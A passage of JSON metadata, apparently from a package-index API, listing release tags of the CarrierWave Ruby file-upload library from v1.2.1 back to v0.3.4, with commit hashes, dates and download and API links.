ttps://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts